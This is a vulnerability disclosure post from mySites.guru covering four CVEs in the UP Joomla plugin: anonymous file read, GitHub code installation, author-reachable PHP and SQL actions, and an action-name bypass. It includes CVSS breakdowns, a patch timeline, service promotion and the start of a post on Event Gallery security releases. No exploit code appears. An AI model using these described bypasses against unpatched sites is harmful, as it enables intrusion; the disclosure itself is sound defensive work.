&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How to find every site running UP&lt;/h2&gt;
&lt;p&gt;The first question after a disclosure like this is which of your sites run the thing. mySites.guru keeps a live inventory of the extensions, plugins and templates on each connected Joomla and WordPress site. Search for UP once and you see each site running it and the version each one is on.&lt;/p&gt;
&lt;p&gt;We added the ranges from the CVE records, 5.0.0 to 5.2.0 on the older branch and every 6.x version below 6.1.0, to the mySites.guru vulnerability database, so every connected site still on a vulnerable UP is flagged on its dashboard without anyone searching. The same database lists &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;the Joomla extension vulnerabilities we track&lt;/a&gt;, with the affected versions for each.&lt;/p&gt;
&lt;h2&gt;What else mySites.guru checks on a Joomla site&lt;/h2&gt;
&lt;p&gt;UP is one plugin. A typical Joomla site runs dozens of extensions, each with its own release notes and its own idea of what counts as a security release. No single check covers that. It takes several running together:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vulnerable extension detection compares installed extensions against the known-vulnerable ranges and flags a site as soon as one matches. That is how the UP rule reaches every connected site at once.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Rogue administrator detection&lt;/a&gt; lists super users you did not create, which is where an abused admin-only action tends to leave its mark.&lt;/li&gt;
&lt;li&gt;File scanning checks every file against a pattern library of roughly 1,500 malware signatures and looks for files that can accept uploads, the kind a GitHub-install flaw could drop.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of it runs unattended across every connected site, and all of it is part of the subscription. Doing the same by hand means logging into each Joomla admin, reading the extensions list and comparing it against changelogs, then doing it again the next time a vendor ships.&lt;/p&gt;
&lt;p&gt;If a site has already been hit, &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; cleans it, audits it for backdoors and hands it back secure for a single fixed fee, usually the same day. Non-subscribers get a free month with it.&lt;/p&gt;
&lt;p&gt;Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what it finds, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;see the plans&lt;/a&gt; and connect every site you manage.&lt;/p&gt;
&lt;h2&gt;Fifteen candidates, and why we retested every one&lt;/h2&gt;
&lt;p&gt;Every build in this sequence arrived with a changelog saying the issues were fixed. Each time, part of it was true, part was not, and twice a build introduced something that had not been wrong before. One release normalised the action name in one place and closed four routes at once; the next dropped a line and reopened one. A permission check that read correctly crashed the site the first time an anonymous visitor reached it.&lt;/p&gt;
&lt;p&gt;The maintainer, who had taken UP on after its author died and was not being paid for any of this, answered every report within hours and kept going through fifteen candidates until there was nothing left an author could reach. That is the outcome you want. It is also the reason the fix took four weeks: a vendor’s changelog is a claim, not evidence, and the only way to know a security fix holds is to run the fixed build and try the attack again. We retested every candidate, and read the released 6.1.0 code against the last regressions before publishing this.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;We found these flaws reading UP 6.0.29’s code and confirmed the anonymous file read and the author-level code execution live on our own test install. They were reported privately on 23 August 2026, to the vendor address and the Joomla Security Strike Team, and nothing was published until a fixed release existed.&lt;/p&gt;
&lt;p&gt;The Joomla CNA published four CVE records on 26 September 2026, one per weakness type, each crediting mySites.guru as the finder: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt; for the remote code installation, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt; for PHP command injection, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt; for the path traversal and file access routes, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97162/&quot;&gt;CVE-2026-97162&lt;/a&gt; for the SQL injection routes. The weakness classes named in the records are path traversal (CWE-22) and improper access control (CWE-284), code injection (CWE-94) and SQL injection (CWE-89).&lt;/p&gt;
&lt;p&gt;The scores below are the CNA’s, worst first.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt;Remote code installation from GitHub, no login needed&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous request set an on-demand code download in motion over a connection with certificate checks disabled, and whatever arrived was unpacked into a folder of PHP that UP runs.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.4&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt;PHP command injection through the php action&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The php action runs PHP from article text and is meant for administrators, which is why the CNA scores it as needing high privileges. Before 6.1.0 an article author could reach it by spelling the action name in a way the save check did not recognise, and the code ran for every visitor to the page.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Administrator action&lt;/span&gt;&lt;span&gt;Author-reachable before 6.1.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt;Arbitrary file read and file creation through path traversal&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;One anonymous request to the AJAX endpoint returned any file the web server could read, including configuration.php and the database credentials it holds. Another wrote files through a path built from request input, outside the folder they belonged in.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97162/&quot;&gt;CVE-2026-97162&lt;/a&gt;SQL injection vectors&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The sql action and actions that build queries from shortcode options passed attacker-controlled text into database queries. In one release candidate a subquery read password hashes from the users table.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Several routes&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;UP, the “Universal Plugin” for Joomla (&lt;code&gt;plg_content_up&lt;/code&gt;, plus the packaged action set)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Originally Lomart, who died September 2025; maintained since by Pascal Le Conte (conseilgouz)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Path traversal (CWE-22) and improper access control (CWE-284) for the GitHub install and file access routes; code injection (CWE-94) for the PHP action; SQL injection (CWE-89)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;5.0 to 6.0.29 (per the maintainer)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;UP 6.1.0 (Joomla 5.2 to 6.x) and UP 5.2.1 (Joomla 3.10 to 5.1), released 26 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt; (remote code installation), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt; (PHP command injection), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt; (path traversal and file access), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97162/&quot;&gt;CVE-2026-97162&lt;/a&gt; (SQL injection)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;Joomla CNA: 10.0 Critical (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt;), 9.4 Critical (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt;), 9.2 Critical (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt;), 8.3 High (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97162/&quot;&gt;CVE-2026-97162&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;23 August 2026, privately to the vendor and the Joomla Security Strike Team&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;24 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Release reviewed&lt;/td&gt;&lt;td&gt;26 September 2026, code review of the released 6.1.0 build&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2025-09&lt;/strong&gt; UP&apos;s original author dies Lomart, who wrote and maintained UP, died in September 2025. Pascal Le Conte took over maintenance. It was not announced anywhere we could find, and the contact page on the UP website returned a 404, which is why our report a year later went to an address no one was reading.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-23&lt;/strong&gt; mySites.guru audits UP 6.0.29 and reports four unauthenticated flaws Arbitrary file read, file creation through path traversal, a file move and delete endpoint, and remote code installation. Reported the same night to the vendor address and the Joomla Security Strike Team, with CVE assignment requested through the Joomla CNA. The email also flagged that article authors could run PHP and SQL, without detail. All public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; The maintainer replies within ten hours Pascal Le Conte acknowledged the report and committed to fixing it, and told us he now maintains the plugin. He also showed that the file move and delete endpoint never ran in 6.0.29 because of a PHP syntax error, which we confirmed, so three of the four were live and one was inert.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; First release candidate, and our first retest A build arrived with a new setting reserving the risky actions to administrators. Retested the same day: one finding properly closed, two still exploitable, and the new setting could be walked around. We sent the author-level PHP and SQL findings in full.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-29&lt;/strong&gt; A build for the Joomla 3.10 to 5.1 branch joins in Candidates for both the 6.1.0 and the 5.2.1 branch. Our retest found three of the original findings still reachable by the same route, and the changelog&apos;s claim to have fixed the SQL action did not hold up against the running code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-01&lt;/strong&gt; The maintainer asks the Joomla CNA for CVE IDs The SQL action was removed, and a different file-reading action, absent from the restricted list, gave an author the same read. Pascal asked the Joomla Security Strike Team to assign CVE identifiers and credit mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-07&lt;/strong&gt; The administrator-only list can be walked around four ways The check reserving the risky actions compared the action name before the renderer rewrote it, and there were four rewrites, so there were four ways past it. Five further actions needed no trick at all, because they were never on the list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-09&lt;/strong&gt; The structural fix arrives in RC11 A single normalisation function now works out the real action name for both the save check and the renderer, closing all four bypasses at once. An inverted file check and a denial-of-service crash are fixed too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-11&lt;/strong&gt; RC12 regresses, and RC13 fixes it the same day RC12 dropped the alternative-name lookup from that function and reopened one route, which we proved live and reported that morning. RC13 restored the lookup and tightened the anonymous AJAX session check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-14&lt;/strong&gt; The SQL action becomes administrator-only for good After we set out the remaining SQL injection paths, the SQL action was reserved to administrators, with queries touching password and token columns blocked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-17&lt;/strong&gt; Our review of the last candidate finds nothing an author can reach Two small gaps remained in the save-time scan, both still blocked by the render-time check. The maintainer closed them in the final build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; Four CVE IDs assigned The Joomla CNA assigned CVE-2026-97160 to CVE-2026-97163, grouping the vectors into one identifier per weakness type because each type shares a root cause and a fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; UP 6.1.0 and UP 5.2.1 released 6.1.0 for Joomla 5.2 to 6.x, 5.2.1 for Joomla 3.10 to 5.1, held back until the CVE IDs were assigned. Every version from 5.0 to 6.0.29 is affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; Released build reviewed, affected sites flagged and this post published We read the released 6.1.0 code against the last regressions: the alternative-name lookup is back in the shared check, and the anonymous AJAX session check only accepts keys the plugin issued itself. The CVE records published the same afternoon, and every connected site on an affected UP version is flagged in mySites.guru.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/conseilgouz/up/releases&quot;&gt;UP on GitHub&lt;/a&gt; - the maintainer&apos;s release page, where 6.1.0 is published.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;The Joomla extension security disclosure standard&lt;/a&gt; - what we ask vendors for, and why a fix that is not verified is not a fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the public-endpoint pattern behind three of these findings.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider picture across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Code Injection&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284: Improper Access Control&lt;/a&gt; - the weakness classes behind these findings.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>up plugin</category><category>plg_content_up</category><category>vulnerability</category><category>remote code execution</category><category>sql injection</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/up-plugin-joomla-unauthenticated-vulnerabilities.png" length="0" type="image/png"/></item><item><title>Event Gallery 6.5.0 Hides Eight Security Fixes in 46 Bug Fixes</title><link>https://mysites.guru/blog/event-gallery-6-5-0-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/event-gallery-6-5-0-security-release/</guid><description>Event Gallery 6.5.0 fixes five CVEs in Joomla, led by a Clear Cache path traversal (CVE-2026-97164). The vendor&apos;s notes now lead with security.</description><pubDate>Sat, 26 Sep 2026 14:35:16 GMT</pubDate><content:encoded>&lt;p&gt;Sven Bluege released &lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download/event-gallery-core/6-5-0&quot;&gt;Event Gallery 6.5.0&lt;/a&gt; for Joomla on 26 September 2026, and it is a security release. Before 6.5.0, a page on another website could make a logged-in editor upload images into a gallery event and replace existing ones, a crafted link could run script in an editor’s session, and the identifiers of carts and orders in the image shop could be worked out from the time they were created.&lt;/p&gt;
&lt;p&gt;The release page does not put it that way. The notes sit behind a collapsed More information button, run to 8,673 words, and file the security fixes among 46 bug fixes in the same even tone as a PayPal option and a German mail template. Nothing on the page tells a site owner to update today.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update Event Gallery to 6.5.0 on every Joomla site that runs it, Core and Extended alike. 6.5.0 needs Joomla 5.4 or later, so a site still on &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Joomla 3&lt;/a&gt; or 4 has to upgrade Joomla first. If the site overrides the upload layout in its template, update the override too, or every upload will be rejected with an invalid token message.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Update, 4 October 2026: update to Event Gallery 6.6.0 instead&lt;/h2&gt;
&lt;p&gt;Sven Bluege released Event Gallery 6.6.0 on 4 October 2026 with three more security fixes: a CSRF in eight backend list buttons (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;), a Google Photos picker that could be made to send its access token to any address (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt;), and an XSS on the shared image page (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt;). All three are present in 6.5.0, so the advice in this post to update to 6.5.0 is now out of date: update every site to 6.6.0, including sites already on 6.5.0. It has the same Joomla 5.4 and Joomla 6 requirement. The details are in &lt;a href=&quot;https://mysites.guru/blog/event-gallery-6-6-0-security-release/&quot;&gt;our Event Gallery 6.6.0 post&lt;/a&gt;.&lt;/p&gt;
